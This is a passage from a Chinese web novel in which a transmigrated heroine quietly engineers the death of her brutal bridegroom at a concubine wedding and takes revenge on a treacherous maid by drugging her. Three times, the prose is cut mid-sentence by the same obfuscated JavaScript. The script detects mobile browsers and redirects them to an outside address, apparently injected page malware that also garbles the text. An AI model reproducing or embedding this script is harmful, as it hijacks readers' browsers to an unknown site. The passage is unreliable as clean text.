最后宿管为了息事宁人,让那个被扔了刀子的女生写了一份检讨交差。 从那以后,赵莹真再也没有听过自己的任何谣言。 造谣的女孩卷铺盖走人的那天,刚巧碰上赵莹真回宿舍。 对方与她擦肩而过,在沉默中重重砸上门。 “砰——” 一罐药膏滚落在地。赵莹真回神,才想起她是来拿伤药的。 她俯身拾起,转身回房,坐在素问床沿,沿着素问浮肿的脸颊细细涂抹。 药膏冰凉刺激,却让伤口的疼痛顿时缓解不少。 素问没想到,她掏心掏肺奉承的大夫人,为了掩盖自己儿子的风流韵事能把自己打死,而她厌恶憎恨的病弱小姐,却在关键时刻替她苦苦求情。 一行悔恨的泪水从她眼角流下。 她突然就想起蒲夫人,对她也算宽容,冬天甚至会自己贴银子,给她和素心这两个小姐的贴身丫鬟做一身好棉袄。 那时她还是个孩子,因为一串稀罕的糖果,就被大夫人收买,往夫人的床边放了一块小厮的汗巾。 再后来,三房只剩四小姐一人,无人可依,便托她拿着例银出门买药,一开始只是拿了些抹零,胃口越来越大,就给小姐替换成残药渣子。 至于赵承邦……她原以为他对自己是真心,却没想到,那些不过是床第之间哄人的蜜糖陷阱。 “小姐,对不起……”她没法转动身体,只能颤颤巍巍用双手去抓赵莹真的手腕。 晚了,你应该悔悟的人已经死了。 赵莹真故作不经意,抬腕错开,慢条斯理地抹了点药膏,按在素问的脸上。 素问疼得抖了一下,不敢吱声,手无力地垂下去。 “接下来这几天,你便安心在这里养伤,等到吉时,随我一起去李家。”赵莹真将药膏一圈圈在对方的皮肤上抹开。 “好,我,我日后,一定尽力服侍小姐。”素问没了靠山,在赵府也呆不下去,如今赵莹真是她唯一的倚靠,不能有任何差池。 “小姐……”素问咬着唇,心中还在犹豫是否应该把自己知道的所有事都告诉赵莹真。 毕竟,有些事她也脱不了干系。 “嗯?” 赵莹真知道,以素问现在混乱摇摆的心态,会吐出点什么不足为奇,但她并不想引导下三滥的小人说出真假参半的东西。 很多真相,沉淀之后自然有所显现。 “你可知……” “小姐!” 素问的声音被打断,门外传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163376|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来素心的声音。 赵莹真放下药膏,并不追问,像是没注意素问的纠结,推门走出去。 素心疑惑地看了一眼共处一室的两人,便跟着赵莹真往主屋走。 “你让我做的事……”她跟在赵莹真身后低语。 素问一眨不眨地盯着素心,不知何时,这个蠢女人已经得到了小姐的信任,而她却像只落水狗一样,在这不见天日的偏房发霉。 两人的背影逐渐消失在素问的视线里,透过那道门缝,只能看见万般白里的一点朱墙红。 盯着那红。 周冀捡起那张沾了血的白纸。 处理一具老汉的尸体很容易,但解决这个老汉带来的问题却很不容易。 周冀翻开那张纸,字迹工整清秀,一看就出于读书人之手。 想必这老汉,不过是他人传信给他的的传音筒,只是,用牺牲性命的方式引起他的注意,方法太过残忍。 他扫一眼信上内容,一字一句,皆是陈述明州府知府次子李裘的恶劣罪行。 长长一串受害者名单用红色墨水誊写,让人不寒而栗。 知府次子?周冀耳熟,正思考是从何处听来这名字,就想起离开赵府时,赵承宗所提及的婚礼一事。 这竟然是赵莹真的未婚夫? 周冀又认认真真,重新读了一遍信中内容,眉头不自觉皱起来? 强抢民女、霸占田产、欺压百姓、滥用私刑? 这是什么恶霸,赵家怎么会给自家的独女找这么一个夫婿? 简直是去送死。 钟浮白安顿好那老汉,回来时,就见周冀站在院中,捏着那张纸,面色不虞。 待他走近,向来和颜悦色的四皇子突然发问:“你可知赵家四小姐的婚期?” 婚期?钟浮白微微一愣,抬一房小妾,也需要办婚礼? 他这么想,也这么说了,却见周冀一副震惊的表情:“你是说,长海首富赵家的四小姐,许配给明州知府家的二少爷李裘做妾?!” 更何况这李裘看起来已经在明州一带恶名昭彰。 周冀觉得,赵家上下都疯了。 钟浮白有些为难,不知该不该把赵莹真的情况说出来。 周冀私下养着一群暗卫替他办事,但素来不喜欢他们探听宅门女人那些家长里短的琐碎。钟浮白为了干活需要,常常有所摸排,但在不影响事情本身的情况下,很少汇报到周冀面前。 看着钟浮白纠结的样子,周冀盯着他:“你是不是知道什么?” 钟浮白不得不全盘托出:“属下、属下打探过赵小姐的背景。赵小姐从娘胎里就有病根,生母蒲氏又去世的早,在赵家一直不受待见。前几天因为知道要给李裘做妾,听说她当场撞柱自裁,被救下后似乎想开了,目前已经接受婚约。” 周冀蹙眉。 怎么不接着抗争了? 他没有任何英雄救美的想法,只是冒犯地联想起她那段吸引他目光的脖颈,又细又白,做恶霸的小妾,怕是活不过新婚夜吧。 “最关键是,蒲氏的死是赵家大夫人陷害所致,这件事人尽皆知,但赵明堂却并没有因此降罪于大夫人。” 周冀眼中闪过一丝兴奋的光亮,“那,她为何要拉拢赵承邦?” 钟浮白摇摇头,苦笑:“属下不知,按道理赵小姐即将出嫁,之后生老病死都与赵家无关,即使现在拉拢,看起来也毫无用途。” 周冀不语,紧紧抿着唇,低头又看一眼那清秀隽雅的字迹。 一条草蛇灰线,在他眼前徐徐铺展。 赵莹真,你究竟想做什么? 7. 荒唐婚宴 接下来的几天,除了赵承邦托人给赵莹真递过一次信,三房的小院内始终是静悄悄的,没有丝毫喜庆的氛围。 赵莹真日日在树下起舞练功,虽然看不出长肉,骨子里的力气已然大了几分。 素心日日扫雪,顺便给她备上一锅热汤驱寒用,而素问反而成了最清闲的人,躺在床上一动不动。 出嫁前一天,喜婆登门送来喜袍,又拿着《女诫》教导赵莹真到了夫家后要遵守的规矩,洋洋洒洒说了一个时辰。 赵莹真一个现代人,听得头皮发麻,皱着眉坐在主屋的床沿,一双手在身侧把棉麻的袖管揪得发皱。 好不容易捱到结束,喜婆使了个眼色,她后面跟着的两位丫鬟便上前,作势伸手去扒赵莹真的衣服,要把她推到床上去,美名其曰教导她侍奉夫君的方法。 赵莹真一时没反应过来,往后一躲,差点让人抓住手臂。 “你们要做什么!”素心立刻反应过来,急忙挡在赵莹真身前,“小姐金贵,岂是你们能瞎碰的!” 喜婆被这小丫头片子瞪了一眼,心里不舒坦。 “让开,你这不懂规矩的丫头。” 喜婆一出口,素心就被其中一个丫鬟搡到地上,哎哟叫唤。 场面突然变得混乱。 赵莹真彻底冷下脸,抄起一个床边的罐子就往推了素心的丫鬟脸上砸,怒视喜婆:“谁准你们在我的地盘撒野!” “啊——”那丫鬟的额角迅速破了一个洞,血流满面,疼得满地打滚。 “你,你一个要出阁的女子,怎能如此野蛮!”喜婆面露惊恐,又指了指地上那块蚊子血的地方诅咒,“血光之灾……这门亲事定有灾祸!” “借您吉言。” 赵莹真差点笑出声来,猛然站起身,一步步走近,指着对方的鼻子,“今儿我给你立个规矩,若是再敢冒犯我的人,或是在大夫人面前碎嘴,休怪我为老不尊!” “素心,送客!” 那喜婆吓得退了几步,骂骂咧咧地落荒而逃,那两个丫鬟也委委屈屈跟在身后仓皇离去,相去挺远,还能听见那婆子的嘲哳声。 素心看她们出去,把大门紧紧关上,回过头来,有些惭愧:“小姐,我是不是做错了了?” 赵莹真本就对素心突然拦在身前有些意外,玩味地问:“哪儿错了?” “小姐,那方面的事,是不是应该要教的……”素心和原主年龄差不多大,正值情窦初开的年纪,对男女之事一知半解,说完,整张脸都红了。 赵莹真其实是想在素心面前装老成的,结果看素心一副期期艾艾的样子,自己的脸也不知不觉红起来。 前世,赵莹真并不是没谈过恋爱。 在海上跑船那些年,她见过太多腌臢事,对男女之事心生抵触。 后来进入工厂做女工,适龄男青年要么嫌弃赵莹真出身低生活糙,要么行事混乱头脑简单赵莹真看不上。 随着她年龄渐大,学历提升,又升任管理层,陆续有不少青年才俊向她示好,但她已经过了春心萌动的年纪,以相亲为前提接触过几位,在二十的尾巴开始恋爱,却都阴差阳错没能走到最后一步。 因此对那方面的事的了解,仅限于影像资料。 见素心也抬眼打量起她泛红的脸,赵莹真撇开眼,虚张声势地教育她:“我怎么知道?我只知道,你的确做错了。” 素心瞪大眼睛,如临大敌的样子,笨笨地问:“哪里做错了?” 敢情刚刚不过是和她客套。 赵莹真抬腿,掐住力度往素心小腿肚扫了一腿,素心没注意,被撞得往一边倒。 赵莹真被逗笑,立刻伸出手搂着手臂把人捞回来。 “你看你,错在下肢力量太弱。若是下肢力量强,你刚刚就不会被搡到地上,至少能反手把她们推倒。” “小姐!”素心被逗得有些恼,垂着头不看赵莹真了。 赵莹真收回手,托着脸看她,假装没注意到,接着逗她,“我的人可不能受欺负。这样,三日之后,我练功时,你就在边上扎马步吧!” “小姐……饶过我吧。”素心求饶,她从小跟着不怎么走动的原主生活,身体素质也一般。 好像,哪里不对…… 素心突然反应过来,抬起头:“小姐,明天我们不就要动身去李府,三日后……” 三日之后,还能练功?她眼里闪过一丝希望的光芒。 赵莹真冲她微微一笑,并不言语,给自己倒了杯茶水。 第二天清晨,天未大亮,一顶小轿从赵府侧门抬出。轿帘微动,就见新娘头披喜帕,安静地靠在软垫上。 没有十里红妆,没有锣鼓喧天,有的是两个仆从背着包袱踩着雪,跟着轿夫一路往李府慢慢走。 李府选的吉时是酉时,介于是纳妾,便只在后院小小操办。赵承宗和赵承业过了申时才出发,代表赵家人去李府喝酒,走到李府门口,刚好碰上从马车上下来的秦希从。 “秦公子!”赵承业先一步打招呼,近三天,他曾给秦公子下榻的公馆多次去信,邀请他再到赵家一坐,甚至提出能再降一笔定金,然而一切去信如石沉大海,杳无音讯。 赵承业焦虑之中也想找赵承宗共想计谋,对方对此却是毫不在意。 周冀穿着玄金的狐皮大氅,隔绝满身寒气,蓬松的软毛遮住半张脸,一双眼里不再是柔和的神情,冷峻地朝赵家兄弟瞥过,仿若不识,紧接着便在小厮的引导下径直往里走,只留给他们一个拒人于千里之外的背影。 赵承业原以为赵承宗的自信来源于已先他一步拿到秦公子的意向,却不曾想转过头,就看赵承宗亦是面色惨白,赵承业心里忍不住咯噔一下。 除了他们赵家,还有谁能吃下这么大的订单? 那一瞬间的震动让赵承业在整场酒局里心神不宁,一杯一杯接宾客倒过来的酒,喝得食不知味。他目光频频投向坐在主桌的秦希从和新郎李裘,但丝毫未察觉李裘的不对劲。 李裘不仅是个远近闻名的恶霸,还是个远近闻名的胖子。 此时他一身深红的喜袍,满面红光,眼睛被肥厚的眼皮挤压成丑陋的缝隙,杯中酒满了尽,尽又满,连天杯,倒进那张油光淋漓的香肠嘴里。没有人知道他的肚量几何,却能明晃晃看见那肚子里的肥肉一吸一鼓,层层叠叠挂在腰间,被喜袍勒出膨大的折痕。 周冀坐在李裘不远处,看此人如猪啃食一般的哼哧吃相,拢紧袖口避开,几乎是全程冷着脸,滴酒未沾。 在座的,除了李知府外,无人知晓他的巡按身份,只以为他是个从京城来看船的富商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163377|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又是李知府的座上宾,因此既不熟也不敢造次。 他今日来,第一是卖李知府个面子,第二是想看看到底那个弱女子,能出什么幺蛾子,第三…… 周冀扫了一眼桌面,清蒸鲈鱼、芙蓉鸡肉、细露蹄筋、清风三虾、酱煨牛肉……都是不出错的菜。 等等,酱煨牛肉? 按照昭朝律法,屠宰、烹牛皆是犯禁,李知府把菜放在明面上,当真溺爱李裘。 主桌坐的宾客,除了周冀与李裘,均是为官之人,一旦被人检举,即使是李知府的私宴,也有可能就此掉了乌纱帽。 因此除了李裘外,无一人对这道菜动筷。 周冀心下一动,伸手夹了一片牛肉,置在碗里。 “你干什么!” 李裘见周冀夹了一片牛肉,突然暴起,用筷子指着对方,“那是只有我能吃的菜!” 说罢,抄起那碟酱煨牛肉,一口气连同汤汁都倒进嘴里,满嘴汤汁也不擦,就把碗碟一摔,上好的瓷盘击在石砖上,四分五裂,清脆的碎裂声令四下皆惊。 周冀内心奇怪,若李裘为人恶劣,应当蛮横无理,而非形态痴傻…… 李知府见儿子冒犯巡按大人,已是冷汗直流,慌忙起身试图制止李裘的狂态。 “你这醉鬼,赶快给秦公子道歉!”李知府怒斥,一掌拍向李裘的后脑勺。 然而,李裘的身子哪是李知府这五十老翁能拖得住的。 那一掌下去,李裘只觉头痛欲裂,怒火中烧。他猛地一推,李知府便脱力般撞向餐桌,发出一声闷响,一时半会腰椎剧痛,动弹不得。 宾客们见状,顿时慌了手脚,一时间所有人都去扶李知府,却没有人敢上前阻拦李裘。 李裘一双眼爆出无数红血丝,满脸狰狞,发了疯似的大声嚷嚷:“我才不要结婚!我要新娘子陪我睡觉!我只要新娘子陪我睡觉!” 他朝后院婚房跑去,所有人都看见了,眼睁睁地看着,却只能在心里为那个可怜的新娘点一盏蜡烛。 周冀趁乱,掏出一块丝帕将那块牛肉包裹起来,放回袖口,然后看向李裘离开的方向,不断告诫自己: 你只负责审判,而不是怜悯。 你只负责审判,而不是怜悯。 你只负责…… 周冀突然拍桌而起,像是一分一秒也等不及似的站起来。 赵家兄弟看着他,看热闹的宾客看着他。 周遭喧哗纷乱如惶惶幻影,只有通往后院的路,在他眼里无比清楚。 不能去。 你不能去。 袖手甩开脑海里纷涌的杂念,他慢慢往前走了一步。 两步。 三步。 步伐越来越快,可刚走到花厅门口,一个丫鬟就慌慌张张来报:“出事了!老爷!大事不好了!” 周冀不知这是赵莹真身边的丫鬟素心,但听到这三个字,他竟然有一种果真如此的感觉,力气被抽空,伸手撑在朱红的廊柱上借力,才稳住语气问:“出什么事了?” 很多年后,周冀回忆起等回答的这三秒,手心都会起一层薄汗。 所有人的视线都集中过来。 素心想着刚刚见过的可怕惨状,竭力憋出一点眼泪。 “姑爷、姑爷晕倒了!” 8. 替嫁恶霸 素问腰上的伤还没好,但已经能勉强下地走路。 出发前夜,素心端来一碗汤药,说是明天路途遥远,小姐体恤她身体不适,用蒲氏珍藏的人参和大夫人送的母鸡给她熬了一碗热补汤。 素问这些天几乎只能服清淡流食,乍一闻到参鸡汤味便有些馋,狼吞虎咽饮下半碗,突然放下调羹。 素心守在她边上,脸色微变:“怎么了?” 素问眼睛有些红,“你能帮我把小姐叫来么?” 她从自己藏在枕头下的荷包里摸出半锭银子放到素心手里,“我有话想亲自对她说。” 等到这一刻,她才知道自己彻底等不到赵承邦了。 素心攥着那银子,有些不知所措。 “去啊!”素问身体不舒服,瞪她。 素心到底有些怵她,左思右想,还是去向赵莹真禀报此事。 豆灯夜火里,赵莹真坐在书桌前有些手笨地用竹笔画图。 她用不惯软毛笔,便托素心去市集的书斋里给她买了些写硬笔的竹笔、墨水和草纸学着使用。 赵莹真一边画图,一边想着赵承邦那封被她烧在明烛里的信。 不得不说,赵承邦别的本事没有,在梅氏面前撒泼打滚还是有用的。前几天他听从赵莹真的指示,借着想要痛改前非,帮衬大哥的名义,让梅氏从赵明堂那儿讨来一间旧的鸟船维修铺子。 鸟船,是一种快速的近海海船,因其船头尖瘦如鸟嘴状得名,在明州一带十分流行。 过往渔民常用这种行程快而体积小的渔船在近海捕鱼、运货,因此数量庞大,然而,随着景元元年明州港的封关和海禁政策,这两年鸟船的使用范围日渐缩窄,维修鸟船铺子数量也越来越少。 如今又逢明州大雪,不少拥有或租用鸟船的渔民纷纷选择弃船上岸谋生,或是转进内陆做漕运,饶是赵家这样的大船业,旗下的鸟船维修铺也面临入不敷出的窘境。 这间铺子,对赵承邦的大哥和二哥来说无关紧要,甚至有如烫手山芋——花心思盘活,带来的利润也不足以让赵明堂对他们刮目相看,一不留神干破产,又会让赵明堂对他们的能力产生质疑。 在这个争夺家产的关键节骨眼上,赵承邦突然杀出来替他们背了一个不良资产,得知此事的赵承宗在面上还是展露了一抹对自己亲弟弟的担忧,而赵承业见有了个想出风头的冤大头,已经背过身开始笑了。 他们不知道的是,赵承邦的背后藏着一个他们从来不放在眼里的女人,此时此刻,只用一个晚上的时间,就让一张简单的鸟船制造流程图就从她手下诞生。 通过精细地拆解鸟船内部结构,分板块进行搭建,然后利用流水线的形式装配组合,改变之前一次只造一条船的生产方式,一旦投入使用,赵莹真就能让一个造船厂的生产效率全面提升。 进入华夏船舶厂的管理层后,赵莹真才有了大把空闲时间,把一部分心思放在陈列室里那些古海船模型上。 古代有四大海船模型,分别是沙船、福船、广船和鸟船,而在明州 、泉州一带,以沙船、福船和鸟船居多,她对这三种船的研究也更为深入。 赵莹真把目光对准鸟船,是因为除了体积小,鸟船和福船具备类似的结构。 纵通龙骨,吃水深,适航强;船体坚固抗沉,有多道水密隔舱,能够平衡船身,即使部分破损也能保持航行。而小巧的鸟船比起庞大的福船来说,又有灵活快速和造价低的优势,对于囊中暂时羞涩的赵莹真而言,启动成本极低。 拿到鸟船维修铺子的经营权,只是赵莹真的第一步,她的野心从不在修船,而是借鸟船维修铺子的平台,收购旧船改造翻新。 如今明州雪灾,大部分渔民船夫入不敷出,渴望卖船度过艰难日子,而各家船厂却因缺乏订单而停止回收旧船,供大于求,此时正是大量低价买进旧船改造的最佳时机。 可惜,赵莹真还没有能力手搓蒸汽机,目前只能在原始人工的基础之上提升修船效率,没办法一口气吃成胖子。 她叹口气,就听素心在门口唤她,有些踌躇地道明来意。 “这有什么,去一趟便是。” 赵莹真细致地叠好图纸放进袖底荷包,便往素问那去,而素心匆匆一瞥那张纸,还以为赵莹真是消闲时画了个画。 素问靠在床上,也许是压在心里的那块石头即将放下,也有可能是喝了一碗热汤,她的眼皮昏沉,掐着虎口才勉力让自己不睡过去。 赵莹真来时,素问打了个激灵,撑着眼睛看到她,立刻四肢并用,蹒跚着膝行下床,“砰砰”给她磕了几个头。 “小姐,我随您去李府后,今生今世一定诚心诚意地服侍您,给您做牛做马!请您再给我一次机会,我什么都愿意说愿意做!” 素问忍着疼痛一边咚咚磕头一边求饶,鲜血染红了沙土地,从她的侧脸往下滴,“关于李、李少爷的这门亲事,我知道一些内情……这门亲事,不是大夫人安排的。” 她的声音弱下去一点,见赵莹真并不应声,悄悄抬起头去看她的脸。 血渗进眼睛里,滋得素问视线模糊,泪流不止,也就没看清赵莹真此时脸上淡然中带着看一条恶狗似憎恶的眼神。 “是、是齐夫人。” 背后作怪的,竟然是赵莹真那八面玲珑的大嫂。 赵莹真的确有些意外,挑了挑眉,并不言语。 在原主的记忆里,齐氏年幼时曾和她做过几天友伴,但原主并不认为她们相熟。 “那天,我……”素问一咬牙,不管不顾,“那天,我,我从三少爷院子里出来,刚、刚巧碰见齐夫人和一女伴闲谈,谈到了一个人。” “李知府家的三公子,李赟,您还记得他吗?” 赵莹真静了一会,才“嗯”一声。 实际上,原主对于李赟的记忆,仅仅定格在幼时与一群少男少女郊游出行时,那个总是走在人群最后,个头略高的清俊少年的身上。 但自蒲氏去世,原主无人照料,身体越发虚弱,便很少出门,旧时的友人也多年不曾见过。即使在大哥的婚宴上再次见到齐氏,二人也不过是点头之交。齐氏倒是曾主动找原主聊起当年那群朋友,话语中提及李赟,也说他已经如赵承邦一样开始考取功名。 “据那女伴说,”素问的声音更低了,“李赟很早以前便对小姐您有意,待春闱结束后,便想上门提亲。” 对……原主有意? 赵莹真的心底突然传来一阵急促的酸痛感,一种不祥的预感顺着她的脊椎爬上去。 这种感觉,并不是来源于她自己。 她的脑海中隐约闪过几个片段,眼里是年少的齐氏上赶着找李赟搭话,而李赟沉默地朝她的方向看来。 再后来,齐氏挽着她走到李赟旁边,原主便也能从那呆板的书生嘴里听出几个有趣字眼来。 而那时,原主还并不知道,何为情窦初开。 齐氏自知落花有情,流水无意,便在父母安排下嫁给了赵承宗,对方虽不及李赟有才华,长得俊,但富贵荣华的底子至少能给齐氏带来一点心理慰藉。 可即便如此,当她得知李赟有意向原主提亲时,内心的妒意还是烧光理智。 大夫人正愁没地方安置原主这块鸡肋,她便趁机向大夫人提议,把赵莹真嫁给知府家嫡出的二少爷李裘为妾,借此还能获得知府的庇护。 “所以,那天她说,”素问擦了一把额头的血,“早知三少爷有意,就不会把你的画像给二少爷看。” 赵莹真轻轻擦掉眼角的那滴泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163378|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,镇定道:“行了,早点休息吧,明天还要赶路。” 原主已死,七情六欲都随烟尘散。 素问没想到赵莹真得知此事,竟会如此平静,一时反而慌乱挽留:“小姐!” 赵莹真转过身,唤素心:“给她再盛一碗参鸡汤,然后擦擦脸,便都歇下吧,明日一早,还需要赶路。” 又看向素问,假意安抚:“你放心,过去的事,我不会再往心里去。” 素问不懂赵莹真的意思,一个劲谄媚地点头,按赵莹真的嘱咐喝下鸡汤擦净脸。 此刻,巨大又安宁的困意席卷她,还没彻底躺下,便沉沉地靠在了床沿上。 素心走进门,看了她一会,从衣柜里拿出一件红内裳给她换上,任务完成后,才转身去敲赵莹真的门。 “进。” 赵莹真没有睡意,想着明天死局将破,精神亢奋到没办法安神闭眼,索性坐到书桌前,随手写下几个在这个时代她稍微有点印象的能人,思考到何处才能寻找到他们的踪迹。 素心这次进来半天,不说话,赵莹真不问,也不强求她说,两个人就这么静静地共处一室,一站一坐,直到赵莹真气定神闲地又写一页纸,素心才走上前来,在赵莹真的桌角放下半锭银子。 赵莹真看着那银子,心中了然,搁下笔,似笑非笑:“心软了?” 她知道,素心与素问的关系并不同于原主与素问。 她们地位相同,又朝夕相处了十多年,甚至已经超过素心长姐陪伴她的日子,纵是再不好,也有几分情意在。 “我、我知道替她求情太、太不合适,她干了那么多坏事,是必须,必须要受到惩罚的。” 素心想起小时候,夫人还在,常给她们递些零嘴点心,而素问年龄比她大,入府也早点,因此即使爱吃,也常常让她先选,“但是,我还是想请小姐您,饶她一命。” 她想朝地上一跪,却被赵莹真伸手稳稳托住,素心的思绪忽然走神,小姐的臂力什么时候变得这么稳当? “她还不配你替她跪。”赵莹真收回手,往纸上写了几行字,才接着道,“你可知,这些事,我为什么要你替我做?” 素心回想起过去几天的桩桩件件,不知赵莹真所谓为何事,问:“为什么?” 赵莹真不点破,又直截了当回复她:“她的命,我本就打算留。” 她看向素心,“但她的人,我不打算再用。所以,有仁德是好事,但什么该做,什么不该做,一定要掂量清楚。” “去睡吧。” 素心“哎”了一声,心底生出一股释然轻松。 直到走出主屋,迎面而来的冷风一吹,素心才突然清醒过来。 她这是做了什么事? 让小姐忍受丧母的悲痛,去成全她的私心!? 素心头昏脑胀,急急往回走,突然脚步一顿,想起小姐那一问。 昏暗的风雪里,一个穿着粗布棉袄的丫鬟站在槐树下默然哭泣,面上却挂着温暖的笑容。 若是赵莹真下定决心斩草除根,又怎会轮到她去给素问灌蒙汗药,若是赵莹真不敢用她,又怎会拜托她去做那些掉脑袋的事? 素心擦干泪,含着笑道:“小姐……” 素问睡了很足很漫长的一觉,睁开眼,却只见头顶一张喜帕。 她想把喜帕扯开,却发现一双手被牢牢捆在背后,没法挣动。 不远处,奔跑声越来越近,李裘癫狂的喊叫清晰可闻。 “滚开——我要见新娘子!我要和新娘子睡觉!”他推倒拦在门口的仆从,撞开婚房大门,掀翻房间里盛放着合卺酒的圆桌。 被两百斤的醉汉压倒在喜床上的那一刻,素问发出凄厉的尖叫。 “啊啊啊啊——!!!!” 9. 无辜者罪 周冀跟着丫鬟率先走进婚房,就看见赵莹真扑在李裘身上,一副悲痛欲绝的样子。 赵莹真闻声回头,没想到,第一个进入婚房的人,不是伺候身边的小厮,不是李知府,不是李裘的任何亲属,而是周冀。 前世的周冀,是否也被赵家内部的纠葛牵扯住,赵莹真不得而知,但这一世,即使他突然出现在赵家购船,即使他是这个时代赵莹真最为熟悉的人,赵莹真也没有任何想要接近的念头。 在缺乏严格保障制度和社会地位极其低下的当下,赵莹真只想守住原主的身体,好好活下去,如果条件允许,再找合适的时机替原主报仇。 因此,得知自己穿越到昭朝后,赵莹真给自己立了三个规矩: 第一,不能犯法。 第二,不能杀人。 第三,不能介入他人因果。 第一条破戒,始于她喝下素心给她煮的一碗麻黄汤。 第二条破戒,始于李裘倒在她面前。 第三条破戒始于—— 赵莹真抬起那张面色苍白,满是泪痕的脸,手还搭在已经没有动静的李裘身上,隔着杯盘狼藉的红木圆桌,与大步跨过婚房门槛的周冀对视。 这一瞬间。 “你怎么了?” 周冀踢开倒在地上的合卺酒酒杯走到赵莹真身前,才发现关心错人了。 这已经是第二次。 他急转视线,投向嘴角溢血的李裘。 “我是说,他怎么了?” 这人怕是已经没命了。 “秦……公子,”赵莹真慌慌张张起身,“求求您救救我夫君吧,他、他揭完我的盖头,突然晕过去了。” 周冀慢慢转过头,一副正经且疑惑的语气:“夫君?” 礼未成,没过门,人已死,何来夫君一说? 赵莹真以为自己露馅,一时有些紧张,眼泪直流,咳得惊天动地,“对,我们还没有喝” 在她设计的剧本里,无论来的是谁,她都会装出非常悲伤和惊恐的样子,请对方救助李裘,然后静静地等待暴风雨来临。 但她还未回答,知府的大夫人便带着郎中和小厮一齐扑来,赵莹真被推到一边,就见那同样肥胖的女人扑在李裘身上哭得悲痛欲绝。 李裘没有任何动静,睁着眼,僵硬在床上,甚至上半身衣不蔽体,死得狼藉。 还不够惨,不够偿还你们欠下的孽债。 赵莹真眼角还有冷却的泪水,低头擦拭时,眼底掠过冷光。 明面上,这是李裘一个纨绔子弟利用特权欺压平民,但实际上,真正的凶手藏在李裘的身后,为他源源不断提供资源、权利和杀人的匕首。 只是解决了祸害,还不够,只有解决了凶手本身,这种现象才能够杜绝。 周冀在混乱的人群里,站在了赵莹真的对面。 看见她眼神闪烁,然后故作哀婉地擦了擦眼角。 周冀摸了摸袖口,转身离开。 当天下午,经过仵作判断,李裘脑部遭受击打,心裂暴毙而亡。 失手击打过李裘脑袋的李知府痛不欲生,一夜之间两鬓斑白,李家红事变白事,乱成了一锅粥,倒是新娶进来的小妾赵莹真本人无人问津,丫鬟们私下里闲扯,说赵莹真是个扫把星,克死自己母亲不说,现在又克死丈夫。 赵莹真自李裘死后一直安静地住在李知府家的别院里,对外界纷乱的声音不予回应,终日除了画稿,就是舞棍。 “夫人,姐夫说,她被卖给一个商队当随行仆从,是去西域的商队,大概三四年都不会回来,您大可放心。” 捧着一碗小吊梨汤递给刚练完功一头湿寒的赵莹真,素心向她汇报素问的情况,“她……她跪谢你的不杀之恩,托姐夫转交了一封信给你。” “嗯。” 卖过去做什么,活多久,那就是另当别论了。 赵莹真抿了一口鲜甜梨汤,淡淡应了一声。 赵莹真见识过很多素问这样的人,墙头草,势利眼,不记恩,给一点蝇头小利就摇摆不定,又总干蠢事。你若说她有将人害至死地的念头,倒是未必,但她永远记吃不记打,却是板上钉钉。 直到被李裘压住的前一秒,素问内心可能都没有对赵莹真和蒲氏真正意义上的愧疚和道歉,也不觉得自己当年一条汗巾的伎俩多么无耻下流。 赵莹真没有让她被真正玷污清白这样的恶趣味,只有以牙还牙,让她感受清白被玷污的绝望。 尖叫之后,素问短暂神经错乱,嘴里被塞了布条被接应的屠夫用货车带出府,而坐在李裘边哭泣的人变成赵莹真。 就像赵莹真对素心承诺的那样,留素问一命,但不再管对方活成什么样子,亦不再用。 赵莹真打开那封信,原以为是无数对不起这样的废话或是撕破脸的侮辱,实际上不过寥寥几个字,信息量挺大,她看完,投纸烧毁在烛火里。 就当我留你一命的报偿吧。 麻黄一物,本用于祛寒止咳,但后世利用麻黄提取的□□,则成为会使人的中枢神经兴奋的禁药。 想知道李裘的饮食喜好并不难,整个明州几乎都知知府家的二少爷喜食牛肉,只是李知府土皇帝做惯,无人敢批判,而想要知道李裘身体状况则更容易,过度肥胖,极易激动,只需要再给他的心脏加一点压…… 当李裘压在素问身上的那一瞬间,时间似乎慢放,本已预备素心再扎一针,谁知就是这么巧合,李裘连素问的衣服都没有扯开,直挺挺地倒在素问身上,肥肉压成一坨。 赵莹真和素心把素问绑起来拖到后厨,素心的姐夫与知府的厨子是莫逆之交,当初还是对方找到他派了给李府送肉的活,以至于对素心长姐之死十分内疚。 后厨的垃圾车在一片混乱中悄然驶出,府外则有素心姐夫接替,将素问送往郊外。 即使素问有心回头检举,怕是也翻不出风浪。 又过几天,赵莹真被传唤至正厅议事。 “会不会有什么问题?”素心替赵莹真梳洗描眉,满面愁容,“若是真追究起来,便说是奴婢做的,替姐姐报仇,我已经没有遗憾……” 赵莹真看她那傻样,笑了。 “既然没有遗憾,干脆找管家拿了卖身契和银两,卷铺盖回家吧。” 